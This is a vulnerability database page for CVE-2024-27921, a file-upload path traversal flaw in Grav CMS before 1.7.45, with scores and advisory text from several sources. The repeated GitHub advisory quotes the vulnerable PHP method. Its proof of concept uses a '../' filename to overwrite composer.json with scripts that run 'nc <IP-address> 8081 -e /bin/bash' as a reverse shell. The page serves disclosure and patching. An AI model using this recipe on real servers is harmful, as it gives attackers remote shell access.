CVE-2024-27921
Grav File Upload Path Traversal vulnerability
Grav is an open-source, flat-file content management system. A file upload path traversal vulnerability has been identified in the application prior to version 1.7.45, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This critical security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques. Upgrading to patched version 1.7.45 can mitigate the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
Grav File Upload Path Traversal vulnerability
Grav is an open-source, flat-file content management system. A file upload path traversal vulnerability has been identified in the application prior to version 1.7.45, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This critical security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques. Upgrading to patched version 1.7.45 can mitigate the issue.
- Record
CVE-2024-27921- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2024-0961
8.8
Grav is an open-source, flat-file content management system. A file upload path traversal vulnerability has been identified in the application prior to version 1.7.45, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This critical security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques. Upgrading to patched version 1.7.45 can mitigate the issue.
- Record
EUVD-2024-0961- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-m7hx-hw6h-mqmc
8.8
Grav File Upload Path Traversal
Summary
Grav is vulnerable to a file upload path traversal vulnerability, that can allow an adversary to replace or create files with extensions such as .json, .zip, .css, .gif, etc. This vulnerabiltiy can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing backups or creating new ones, and exfiltrating sensitive data using CSS Injection exfiltration techniques.
Installation Configuration
- Grav CMS 1.10.44
- Apache web server
- php-8.2
Details
Vulnerable code location: grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method_
public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string
{
// Add the defaults to the settings.
$settings = $this->getUploadSettings($settings);
// Destination is always needed (but it can be set in defaults).
$self = $settings['self'] ?? false;
if (!isset($settings['destination']) && $self === false) {
throw new RuntimeException($this->translate('PLUGIN_ADMIN.DESTINATION_NOT_SPECIFIED'), 400);
}
if (null === $filename) {
// If no filename is given, use the filename from the uploaded file (path is not allowed).
$folder = '';
$filename = $metadata['filename'] ?? '';
} else {
// If caller sets the filename, we will accept any custom path.
$folder = dirname($filename); `-> Vulnerable Code`
if ($folder === '.') {
$folder = '';
}
$filename = Utils::basename($filename);
PoC
- Log in to the Grav CMS using a super administrator account.
- Add a user in the "Accounts" section with the following permissions:
- Login to Admin
- Page Update
- Log out of the super administrator account and log in with the previously created user account.
- Navigate to the https://<grav>admin/pages/home.
- Use the following command in Kali Linux to open a netcat listener:
nc -lvnp 8081
Note: "nc" or netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. We are using this tool to get a reverse shell from the server hosting Grav CMS. 7. Using a web interception proxy, click on the "Page Media" section and upload a json file with the following added to the "scripts" section (https://getcomposer.org/doc/articles/scripts.md):
"post-install-cmd": "nc <IP-address> 8081 -e /bin/bash",
"post-update-cmd": "nc <IP-address> 8081 -e /bin/bash"
Note: The post installation and update script used in this PoC is only for demonstration purposes. There are various other scripts that may be injected such as command that executes the corresponding script before any Composer Command is executed on the CLI.
Note: . Please replace <IP-address> with the IP address of the Kali Linux netcat listener.
8. Modify the "name" parameter to "../../../c/omposer.json" and forward the request.
9. Observe the successful upload message from the server response:
10. In the Grav web root, observe that the "composer.json" file was successfully replaced by the malicious "composer.json" file containing a reverse shell script.
11. Run any variations of the following commands in the Grav web server and observe the successful reverse shell:
- bin/grav composer
- composer update
- composer install
Impact
- Arbitrary Code Injection: Attackers can replace…
- Record
GHSA-m7hx-hw6h-mqmc- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.8
Grav is an open-source, flat-file content management system. A file upload path traversal vulnerability has been identified in the application prior to version 1.7.45, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This critical security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques. Upgrading to patched version 1.7.45 can mitigate the issue.
- Record
CVE-2024-27921- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.8
Grav File Upload Path Traversal vulnerability
Grav is an open-source, flat-file content management system. A file upload path traversal vulnerability has been identified in the application prior to version 1.7.45, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This critical security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques. Upgrading to patched version 1.7.45 can mitigate the issue.
- Record
CVE-2024-27921- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-m7hx-hw6h-mqmc
8.8
Grav File Upload Path Traversal
Summary
Grav is vulnerable to a file upload path traversal vulnerability, that can allow an adversary to replace or create files with extensions such as .json, .zip, .css, .gif, etc. This vulnerabiltiy can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing backups or creating new ones, and exfiltrating sensitive data using CSS Injection exfiltration techniques.
Installation Configuration
- Grav CMS 1.10.44
- Apache web server
- php-8.2
Details
Vulnerable code location: grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method_
public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string
{
// Add the defaults to the settings.
$settings = $this->getUploadSettings($settings);
// Destination is always needed (but it can be set in defaults).
$self = $settings['self'] ?? false;
if (!isset($settings['destination']) && $self === false) {
throw new RuntimeException($this->translate('PLUGIN_ADMIN.DESTINATION_NOT_SPECIFIED'), 400);
}
if (null === $filename) {
// If no filename is given, use the filename from the uploaded file (path is not allowed).
$folder = '';
$filename = $metadata['filename'] ?? '';
} else {
// If caller sets the filename, we will accept any custom path.
$folder = dirname($filename); `-> Vulnerable Code`
if ($folder === '.') {
$folder = '';
}
$filename = Utils::basename($filename);
PoC
- Log in to the Grav CMS using a super administrator account.
- Add a user in the "Accounts" section with the following permissions:
- Login to Admin
- Page Update
- Log out of the super administrator account and log in with the previously created user account.
- Navigate to the https://<grav>admin/pages/home.
- Use the following command in Kali Linux to open a netcat listener:
nc -lvnp 8081
Note: "nc" or netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. We are using this tool to get a reverse shell from the server hosting Grav CMS. 7. Using a web interception proxy, click on the "Page Media" section and upload a json file with the following added to the "scripts" section (https://getcomposer.org/doc/articles/scripts.md):
"post-install-cmd": "nc <IP-address> 8081 -e /bin/bash",
"post-update-cmd": "nc <IP-address> 8081 -e /bin/bash"
Note: The post installation and update script used in this PoC is only for demonstration purposes. There are various other scripts that may be injected such as command that executes the corresponding script before any Composer Command is executed on the CLI.
Note: . Please replace <IP-address> with the IP address of the Kali Linux netcat listener.
8. Modify the "name" parameter to "../../../c/omposer.json" and forward the request.
9. Observe the successful upload message from the server response:
10. In the Grav web root, observe that the "composer.json" file was successfully replaced by the malicious "composer.json" file containing a reverse shell script.
11. Run any variations of the following commands in the Grav web server and observe the successful reverse shell:
- bin/grav composer
- composer update
- composer install
Impact
- Arbitrary Code Injection: Attackers can replace…
- Record
GHSA-m7hx-hw6h-mqmc- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
getgrav/gravPackagist |
before 1.7.45 | 1.7.45 |
getgrav/gravPackagist |
before 1.7.45, plus listed versions 0.8.00.9.00.9.10.9.100.9.11 Show 45 moreShow less0.9.120.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.340.9.350.9.360.9.370.9.380.9.390.9.40.9.400.9.410.9.420.9.430.9.440.9.450.9.50.9.60.9.70.9.80.9.91.0.01.0.0-rc.11.0.0-rc.2 |
1.7.45 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-27921 is a high vulnerability (CVSS 8.8) in Getgrav Grav, published March 21, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 60.6%, the 99th percentile. Fixed in getgrav/grav 1.7.45.
References
github.com/getgrav/grav/security/advisories/GHSA-m7hx-hw6h-mqmc
github.com/getgrav/grav/commit/5928411b86bab05afca2b33db4e7386a44858e99
nvd.nist.gov/vuln/detail/CVE-2024-27921
github.com/advisories/GHSA-m7hx-hw6h-mqmc
github.com/CVEProject/cvelistV5/tree/main/cves/2024/27xxx/CVE-2024-27921.json
github.com/getgrav/grav
Left out here: 225 versions and the rest of 2 source descriptions. The JSON record has them.